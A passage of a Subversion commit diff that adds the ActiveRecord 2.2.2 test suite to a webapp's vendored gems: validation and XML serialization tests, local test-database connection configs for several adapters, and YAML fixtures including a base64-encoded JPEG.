+  def test_validates_numericality_with_less_than
+    Topic.validates_numericality_of :approved, :less_than => 10
+
+    invalid!([10], 'must be less than 10')
+    valid!([-9, 9])
+  end
+
+  def test_validates_numericality_with_less_than_or_equal_to
+    Topic.validates_numericality_of :approved, :less_than_or_equal_to => 10
+
+    invalid!([11], 'must be less than or equal to 10')
+    valid!([-10, 10])
+  end
+
+  def test_validates_numericality_with_odd
+    Topic.validates_numericality_of :approved, :odd => true
+
+    invalid!([-2, 2], 'must be odd')
+    valid!([-1, 1])
+  end
+
+  def test_validates_numericality_with_even
+    Topic.validates_numericality_of :approved, :even => true
+
+    invalid!([-1, 1], 'must be even')
+    valid!([-2, 2])
+  end
+
+  def test_validates_numericality_with_greater_than_less_than_and_even
+    Topic.validates_numericality_of :approved, :greater_than => 1, :less_than => 4, :even => true
+
+    invalid!([1, 3, 4])
+    valid!([2])
+  end
+
+  def test_validates_numericality_with_numeric_message
+    Topic.validates_numericality_of :approved, :less_than => 4, :message => "smaller than {{count}}"
+    topic = Topic.new("title" => "numeric test", "approved" => 10)
+
+    assert !topic.valid?
+    assert_equal "smaller than 4", topic.errors.on(:approved)
+
+    Topic.validates_numericality_of :approved, :greater_than => 4, :message => "greater than {{count}}"
+    topic = Topic.new("title" => "numeric test", "approved" => 1)
+
+    assert !topic.valid?
+    assert_equal "greater than 4", topic.errors.on(:approved)
+  end
+
+  private
+    def invalid!(values, error=nil)
+      with_each_topic_approved_value(values) do |topic, value|
+        assert !topic.valid?, "#{value.inspect} not rejected as a number"
+        assert topic.errors.on(:approved)
+        assert_equal error, topic.errors.on(:approved) if error
+      end
+    end
+
+    def valid!(values)
+      with_each_topic_approved_value(values) do |topic, value|
+        assert topic.valid?, "#{value.inspect} not accepted as a number"
+      end
+    end
+
+    def with_each_topic_approved_value(values)
+      topic = Topic.new("title" => "numeric test", "content" => "whatever")
+      values.each do |value|
+        topic.approved = value
+        yield topic, value
+      end
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/xml_serialization_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/xml_serialization_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/xml_serialization_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,202 @@
+require "cases/helper"
+require 'models/contact'
+require 'models/post'
+require 'models/author'
+require 'models/tagging'
+require 'models/comment'
+
+class XmlSerializationTest < ActiveRecord::TestCase
+  def test_should_serialize_default_root
+    @xml = Contact.new.to_xml
+    assert_match %r{^<contact>},  @xml
+    assert_match %r{</contact>$}, @xml
+  end
+
+  def test_should_serialize_default_root_with_namespace
+    @xml = Contact.new.to_xml :namespace=>"http://xml.rubyonrails.org/contact"
+    assert_match %r{^<contact xmlns="http://xml.rubyonrails.org/contact">},  @xml
+    assert_match %r{</contact>$}, @xml
+  end
+
+  def test_should_serialize_custom_root
+    @xml = Contact.new.to_xml :root => 'xml_contact'
+    assert_match %r{^<xml-contact>},  @xml
+    assert_match %r{</xml-contact>$}, @xml
+  end
+
+  def test_should_allow_undasherized_tags
+    @xml = Contact.new.to_xml :root => 'xml_contact', :dasherize => false
+    assert_match %r{^<xml_contact>},  @xml
+    assert_match %r{</xml_contact>$}, @xml
+    assert_match %r{<created_at},     @xml
+  end
+
+  def test_should_include_yielded_additions
+    @xml = Contact.new.to_xml do |xml|
+      xml.creator "David"
+    end
+
+    assert_match %r{<creator>David</creator>}, @xml
+  end
+end
+
+class DefaultXmlSerializationTest < ActiveRecord::TestCase
+  def setup
+    @xml = Contact.new(:name => 'aaron stack', :age => 25, :avatar => 'binarydata', :created_at => Time.utc(2006, 8, 1), :awesome => false, :preferences => { :gem => 'ruby' }).to_xml
+  end
+
+  def test_should_serialize_string
+    assert_match %r{<name>aaron stack</name>},     @xml
+  end
+
+  def test_should_serialize_integer
+    assert_match %r{<age type="integer">25</age>}, @xml
+  end
+
+  def test_should_serialize_binary
+    assert_match %r{YmluYXJ5ZGF0YQ==\n</avatar>},    @xml
+    assert_match %r{<avatar(.*)(type="binary")},     @xml
+    assert_match %r{<avatar(.*)(encoding="base64")}, @xml
+  end
+
+  def test_should_serialize_datetime
+    assert_match %r{<created-at type=\"datetime\">2006-08-01T00:00:00Z</created-at>}, @xml
+  end
+
+  def test_should_serialize_boolean
+    assert_match %r{<awesome type=\"boolean\">false</awesome>}, @xml
+  end
+
+  def test_should_serialize_yaml
+    assert_match %r{<preferences type=\"yaml\">--- \n:gem: ruby\n</preferences>}, @xml
+  end
+end
+
+class NilXmlSerializationTest < ActiveRecord::TestCase
+  def setup
+    @xml = Contact.new.to_xml(:root => 'xml_contact')
+  end
+
+  def test_should_serialize_string
+    assert_match %r{<name nil="true"></name>},     @xml
+  end
+
+  def test_should_serialize_integer
+    assert %r{<age (.*)></age>}.match(@xml)
+    attributes = $1
+    assert_match %r{nil="true"}, attributes
+    assert_match %r{type="integer"}, attributes
+  end
+
+  def test_should_serialize_binary
+    assert %r{<avatar (.*)></avatar>}.match(@xml)
+    attributes = $1
+    assert_match %r{type="binary"}, attributes
+    assert_match %r{encoding="base64"}, attributes
+    assert_match %r{nil="true"}, attributes
+  end
+
+  def test_should_serialize_datetime
+    assert %r{<created-at (.*)></created-at>}.match(@xml)
+    attributes = $1
+    assert_match %r{nil="true"}, attributes
+    assert_match %r{type="datetime"}, attributes
+  end
+
+  def test_should_serialize_boolean
+    assert %r{<awesome (.*)></awesome>}.match(@xml)
+    attributes = $1
+    assert_match %r{type="boolean"}, attributes
+    assert_match %r{nil="true"}, attributes
+  end
+
+  def test_should_serialize_yaml
+    assert %r{<preferences(.*)></preferences>}.match(@xml)
+    attributes = $1
+    assert_match %r{type="yaml"}, attributes
+    assert_match %r{nil="true"}, attributes
+  end
+end
+
+class DatabaseConnectedXmlSerializationTest < ActiveRecord::TestCase
+  fixtures :authors, :posts
+  # to_xml used to mess with the hash the user provided which
+  # caused the builder to be reused.  This meant the document kept
+  # getting appended to.
+  def test_passing_hash_shouldnt_reuse_builder
+    options = {:include=>:posts}
+    david = authors(:david)
+    first_xml_size = david.to_xml(options).size
+    second_xml_size = david.to_xml(options).size
+    assert_equal first_xml_size, second_xml_size
+  end
+
+  def test_include_uses_association_name
+    xml = authors(:david).to_xml :include=>:hello_posts, :indent => 0
+    assert_match %r{<hello-posts type="array">}, xml
+    assert_match %r{<hello-post type="Post">}, xml
+    assert_match %r{<hello-post type="StiPost">}, xml
+  end
+
+  def test_methods_are_called_on_object
+    xml = authors(:david).to_xml :methods => :label, :indent => 0
+    assert_match %r{<label>.*</label>}, xml
+  end
+
+  def test_should_not_call_methods_on_associations_that_dont_respond
+    xml = authors(:david).to_xml :include=>:hello_posts, :methods => :label, :indent => 2
+    assert !authors(:david).hello_posts.first.respond_to?(:label)
+    assert_match %r{^  <label>.*</label>}, xml
+    assert_no_match %r{^      <label>}, xml
+  end
+
+  def test_procs_are_called_on_object
+    proc = Proc.new { |options| options[:builder].tag!('nationality', 'Danish') }
+    xml = authors(:david).to_xml(:procs => [ proc ])
+    assert_match %r{<nationality>Danish</nationality>}, xml
+  end
+
+  def test_top_level_procs_arent_applied_to_associations
+    author_proc = Proc.new { |options| options[:builder].tag!('nationality', 'Danish') }
+    xml = authors(:david).to_xml(:procs => [ author_proc ], :include => :posts, :indent => 2)
+
+    assert_match %r{^  <nationality>Danish</nationality>}, xml
+    assert_no_match %r{^ {6}<nationality>Danish</nationality>}, xml
+  end
+
+  def test_procs_on_included_associations_are_called
+    posts_proc = Proc.new { |options| options[:builder].tag!('copyright', 'DHH') }
+    xml = authors(:david).to_xml(
+      :indent => 2,
+      :include => {
+        :posts => { :procs => [ posts_proc ] }
+      }
+    )
+
+    assert_no_match %r{^  <copyright>DHH</copyright>}, xml
+    assert_match %r{^ {6}<copyright>DHH</copyright>}, xml
+  end
+
+  def test_should_include_empty_has_many_as_empty_array
+    authors(:david).posts.delete_all
+    xml = authors(:david).to_xml :include=>:posts, :indent => 2
+
+    assert_equal [], Hash.from_xml(xml)['author']['posts']
+    assert_match %r{^  <posts type="array"/>}, xml
+  end
+
+  def test_should_has_many_array_elements_should_include_type_when_different_from_guessed_value
+    xml = authors(:david).to_xml :include=>:posts_with_comments, :indent => 2
+
+    assert Hash.from_xml(xml)
+    assert_match %r{^  <posts-with-comments type="array">}, xml
+    assert_match %r{^    <posts-with-comment type="Post">}, xml
+    assert_match %r{^    <posts-with-comment type="StiPost">}, xml
+
+    types = Hash.from_xml(xml)['author']['posts_with_comments'].collect {|t| t['type'] }
+    assert types.include?('SpecialPost')
+    assert types.include?('Post')
+    assert types.include?('StiPost')
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/config.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/config.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/config.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+TEST_ROOT       = File.expand_path(File.dirname(__FILE__))
+ASSETS_ROOT     = TEST_ROOT + "/assets"
+FIXTURES_ROOT   = TEST_ROOT + "/fixtures"
+MIGRATIONS_ROOT = TEST_ROOT + "/migrations"
+SCHEMA_ROOT     = TEST_ROOT + "/schema"

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_db2/connection.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_db2/connection.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_db2/connection.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,25 @@
+print "Using native DB2\n"
+require_dependency 'models/course'
+require 'logger'
+
+ActiveRecord::Base.logger = Logger.new("debug.log")
+
+ActiveRecord::Base.configurations = {
+  'arunit' => {
+    :adapter => 'db2',
+    :host => 'localhost',
+    :username => 'arunit',
+    :password => 'arunit',
+    :database => 'arunit'
+  },
+  'arunit2' => {
+    :adapter => 'db2',
+    :host => 'localhost',
+    :username => 'arunit',
+    :password => 'arunit',
+    :database => 'arunit2'
+  }
+}
+
+ActiveRecord::Base.establish_connection 'arunit'
+Course.establish_connection 'arunit2'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_firebird/connection.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_firebird/connection.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_firebird/connection.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,26 @@
+print "Using native Firebird\n"
+require_dependency 'models/course'
+require 'logger'
+
+ActiveRecord::Base.logger = Logger.new("debug.log")
+
+ActiveRecord::Base.configurations = {
+  'arunit' => {
+    :adapter => 'firebird',
+    :host => 'localhost',
+    :username => 'rails',
+    :password => 'rails',
+    :database => 'activerecord_unittest',
+    :charset => 'UTF8'
+  },
+  'arunit2' => {
+    :adapter => 'firebird',
+    :host => 'localhost',
+    :username => 'rails',
+    :password => 'rails',
+    :database => 'activerecord_unittest2'
+  }
+}
+
+ActiveRecord::Base.establish_connection 'arunit'
+Course.establish_connection 'arunit2'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_frontbase/connection.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_frontbase/connection.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_frontbase/connection.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,27 @@
+puts 'Using native Frontbase'
+require_dependency 'models/course'
+require 'logger'
+
+ActiveRecord::Base.logger = Logger.new("debug.log")
+
+ActiveRecord::Base.configurations = {
+  'arunit' => {
+    :adapter => 'frontbase',
+    :host => 'localhost',
+    :username => 'rails',
+    :password => '',
+    :database => 'activerecord_unittest',
+    :session_name => "unittest-#{$$}"
+  },
+  'arunit2' => {
+    :adapter => 'frontbase',
+    :host => 'localhost',
+    :username => 'rails',
+    :password => '',
+    :database => 'activerecord_unittest2',
+    :session_name => "unittest-#{$$}"
+  }
+}
+
+ActiveRecord::Base.establish_connection 'arunit'
+Course.establish_connection 'arunit2'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_mysql/connection.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_mysql/connection.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_mysql/connection.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,25 @@
+print "Using native MySQL\n"
+require_dependency 'models/course'
+require 'logger'
+
+ActiveRecord::Base.logger = Logger.new("debug.log")
+
+# GRANT ALL PRIVILEGES ON activerecord_unittest.* to 'rails'@'localhost';
+# GRANT ALL PRIVILEGES ON activerecord_unittest2.* to 'rails'@'localhost';
+
+ActiveRecord::Base.configurations = {
+  'arunit' => {
+    :adapter  => 'mysql',
+    :username => 'rails',
+    :encoding => 'utf8',
+    :database => 'activerecord_unittest',
+  },
+  'arunit2' => {
+    :adapter  => 'mysql',
+    :username => 'rails',
+    :database => 'activerecord_unittest2'
+  }
+}
+
+ActiveRecord::Base.establish_connection 'arunit'
+Course.establish_connection 'arunit2'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_openbase/connection.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_openbase/connection.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_openbase/connection.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,21 @@
+print "Using native OpenBase\n"
+require_dependency 'models/course'
+require 'logger'
+
+ActiveRecord::Base.logger = Logger.new("debug.log")
+
+ActiveRecord::Base.configurations = {
+  'arunit' => {
+    :adapter  => 'openbase',
+    :username => 'admin',
+    :database => 'activerecord_unittest',
+  },
+  'arunit2' => {
+    :adapter  => 'openbase',
+    :username => 'admin',
+    :database => 'activerecord_unittest2'
+  }
+}
+
+ActiveRecord::Base.establish_connection 'arunit'
+Course.establish_connection 'arunit2'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_oracle/connection.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_oracle/connection.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_oracle/connection.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,27 @@
+print "Using Oracle\n"
+require_dependency 'models/course'
+require 'logger'
+
+ActiveRecord::Base.logger = Logger.new STDOUT
+ActiveRecord::Base.logger.level = Logger::WARN
+
+# Set these to your database connection strings
+db = ENV['ARUNIT_DB'] || 'activerecord_unittest'
+
+ActiveRecord::Base.configurations = {
+  'arunit' => {
+    :adapter  => 'oracle',
+    :username => 'arunit',
+    :password => 'arunit',
+    :database => db,
+  },
+  'arunit2' => {
+    :adapter  => 'oracle',
+    :username => 'arunit2',
+    :password => 'arunit2',
+    :database => db
+  }
+}
+
+ActiveRecord::Base.establish_connection 'arunit'
+Course.establish_connection 'arunit2'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_postgresql/connection.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_postgresql/connection.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_postgresql/connection.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,21 @@
+print "Using native PostgreSQL\n"
+require_dependency 'models/course'
+require 'logger'
+
+ActiveRecord::Base.logger = Logger.new("debug.log")
+
+ActiveRecord::Base.configurations = {
+  'arunit' => {
+    :adapter  => 'postgresql',
+    :database => 'activerecord_unittest',
+    :min_messages => 'warning'
+  },
+  'arunit2' => {
+    :adapter  => 'postgresql',
+    :database => 'activerecord_unittest2',
+    :min_messages => 'warning'
+  }
+}
+
+ActiveRecord::Base.establish_connection 'arunit'
+Course.establish_connection 'arunit2'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_sqlite/connection.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_sqlite/connection.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_sqlite/connection.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,25 @@
+print "Using native SQlite\n"
+require_dependency 'models/course'
+require 'logger'
+ActiveRecord::Base.logger = Logger.new("debug.log")
+
+class SqliteError < StandardError
+end
+
+BASE_DIR = FIXTURES_ROOT
+sqlite_test_db  = "#{BASE_DIR}/fixture_database.sqlite"
+sqlite_test_db2 = "#{BASE_DIR}/fixture_database_2.sqlite"
+
+def make_connection(clazz, db_file)
+  ActiveRecord::Base.configurations = { clazz.name => { :adapter => 'sqlite', :database => db_file } }
+  unless File.exist?(db_file)
+    puts "SQLite database not found at #{db_file}. Rebuilding it."
+    sqlite_command = %Q{sqlite "#{db_file}" "create table a (a integer); drop table a;"}
+    puts "Executing '#{sqlite_command}'"
+    raise SqliteError.new("Seems that there is no sqlite executable available") unless system(sqlite_command)
+  end
+  clazz.establish_connection(clazz.name)
+end
+
+make_connection(ActiveRecord::Base, sqlite_test_db)
+make_connection(Course, sqlite_test_db2)

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_sqlite3/connection.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_sqlite3/connection.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_sqlite3/connection.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,25 @@
+print "Using native SQLite3\n"
+require_dependency 'models/course'
+require 'logger'
+ActiveRecord::Base.logger = Logger.new("debug.log")
+
+class SqliteError < StandardError
+end
+
+BASE_DIR = FIXTURES_ROOT
+sqlite_test_db  = "#{BASE_DIR}/fixture_database.sqlite3"
+sqlite_test_db2 = "#{BASE_DIR}/fixture_database_2.sqlite3"
+
+def make_connection(clazz, db_file)
+  ActiveRecord::Base.configurations = { clazz.name => { :adapter => 'sqlite3', :database => db_file, :timeout => 5000 } }
+  unless File.exist?(db_file)
+    puts "SQLite3 database not found at #{db_file}. Rebuilding it."
+    sqlite_command = %Q{sqlite3 "#{db_file}" "create table a (a integer); drop table a;"}
+    puts "Executing '#{sqlite_command}'"
+    raise SqliteError.new("Seems that there is no sqlite3 executable available") unless system(sqlite_command)
+  end
+  clazz.establish_connection(clazz.name)
+end
+
+make_connection(ActiveRecord::Base, sqlite_test_db)
+make_connection(Course, sqlite_test_db2)

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_sqlite3/in_memory_connection.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_sqlite3/in_memory_connection.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_sqlite3/in_memory_connection.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,18 @@
+print "Using native SQLite3\n"
+require_dependency 'models/course'
+require 'logger'
+ActiveRecord::Base.logger = Logger.new("debug.log")
+
+class SqliteError < StandardError
+end
+
+def make_connection(clazz, db_definitions_file)
+  clazz.establish_connection(:adapter => 'sqlite3', :database  => ':memory:')
+  File.read(SCHEMA_ROOT + "/#{db_definitions_file}").split(';').each do |command|
+    clazz.connection.execute(command) unless command.strip.empty?
+  end
+end
+
+make_connection(ActiveRecord::Base, 'sqlite.sql')
+make_connection(Course, 'sqlite2.sql')
+load(SCHEMA_ROOT + "/schema.rb")

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_sybase/connection.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_sybase/connection.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_sybase/connection.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,23 @@
+print "Using native Sybase Open Client\n"
+require_dependency 'models/course'
+require 'logger'
+
+ActiveRecord::Base.logger = Logger.new("debug.log")
+
+ActiveRecord::Base.configurations = {
+  'arunit' => {
+    :adapter  => 'sybase',
+    :host     => 'database_ASE',
+    :username => 'sa',
+    :database => 'activerecord_unittest'
+  },
+  'arunit2' => {
+    :adapter  => 'sybase',
+    :host     => 'database_ASE',
+    :username => 'sa',
+    :database => 'activerecord_unittest2'
+  }
+}
+
+ActiveRecord::Base.establish_connection 'arunit'
+Course.establish_connection 'arunit2'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/accounts.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/accounts.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/accounts.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,28 @@
+signals37:
+  id: 1
+  firm_id: 1
+  credit_limit: 50
+
+unknown:
+  id: 2
+  credit_limit: 50
+
+rails_core_account:
+  id: 3
+  firm_id: 6
+  credit_limit: 50
+
+last_account:
+  id: 4
+  firm_id: 2
+  credit_limit: 60
+
+rails_core_account_2:
+  id: 5
+  firm_id: 6
+  credit_limit: 55
+
+odegy_account:
+  id: 6
+  firm_id: 9
+  credit_limit: 53

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/all/developers.yml
===================================================================

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/all/people.csv
===================================================================

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/all/tasks.yml
===================================================================

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/author_addresses.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/author_addresses.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/author_addresses.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+david_address:
+  id: 1
+
+david_address_extra:
+  id: 2

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/author_favorites.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/author_favorites.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/author_favorites.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+david_mary:
+  id: 1
+  author_id: 1
+  favorite_author_id: 2
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/authors.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/authors.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/authors.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+david:
+  id: 1
+  name: David
+  author_address_id: 1
+  author_address_extra_id: 2
+
+mary:
+  id: 2
+  name: Mary

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/binaries.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/binaries.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/binaries.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,132 @@
+flowers:
+  id: 1
+  data: !binary | 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
